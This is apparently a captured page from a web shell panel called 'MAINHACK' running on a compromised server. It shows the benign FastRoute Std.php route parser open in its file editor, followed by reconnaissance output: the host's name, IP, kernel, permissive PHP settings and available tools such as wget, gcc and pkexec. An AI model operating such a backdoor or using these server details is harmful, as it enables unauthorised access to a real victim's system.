[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Std.php
<?php namespace FastRoute\RouteParser; use FastRoute\BadRouteException; use FastRoute\RouteParser; /** * Parses route strings of the following form: * * "/user/{name}[/{id:[0-9]+}]" */ class Std implements RouteParser { const VARIABLE_REGEX = <<<'REGEX' \{ \s* ([a-zA-Z_][a-zA-Z0-9_-]*) \s* (?: : \s* ([^{}]*(?:\{(?-1)\}[^{}]*)*) )? \} REGEX; const DEFAULT_DISPATCH_REGEX = '[^/]+'; public function parse($route) { $routeWithoutClosingOptionals = rtrim($route, ']'); $numOptionals = strlen($route) - strlen($routeWithoutClosingOptionals); // Split on [ while skipping placeholders $segments = preg_split('~' . self::VARIABLE_REGEX . '(*SKIP)(*F) | \[~x', $routeWithoutClosingOptionals); if ($numOptionals !== count($segments) - 1) { // If there are any ] in the middle of the route, throw a more specific error message if (preg_match('~' . self::VARIABLE_REGEX . '(*SKIP)(*F) | \]~x', $routeWithoutClosingOptionals)) { throw new BadRouteException('Optional segments can only occur at the end of a route'); } throw new BadRouteException("Number of opening '[' and closing ']' does not match"); } $currentRoute = ''; $routeDatas = []; foreach ($segments as $n => $segment) { if ($segment === '' && $n !== 0) { throw new BadRouteException('Empty optional part'); } $currentRoute .= $segment; $routeDatas[] = $this->parsePlaceholders($currentRoute); } return $routeDatas; } /** * Parses a route string that does not contain optional segments. * * @param string * @return mixed[] */ private function parsePlaceholders($route) { if (!preg_match_all( '~' . self::VARIABLE_REGEX . '~x', $route, $matches, PREG_OFFSET_CAPTURE | PREG_SET_ORDER )) { return [$route]; } $offset = 0; $routeData = []; foreach ($matches as $set) { if ($set[0][1] > $offset) { $routeData[] = substr($route, $offset, $set[0][1] - $offset); } $routeData[] = [ $set[1][0], isset($set[2]) ? trim($set[2][0]) : self::DEFAULT_DISPATCH_REGEX ]; $offset = $set[0][1] + strlen($set[0][0]); } if ($offset !== strlen($route)) { $routeData[] = substr($route, $offset); } return $routeData; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.53 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002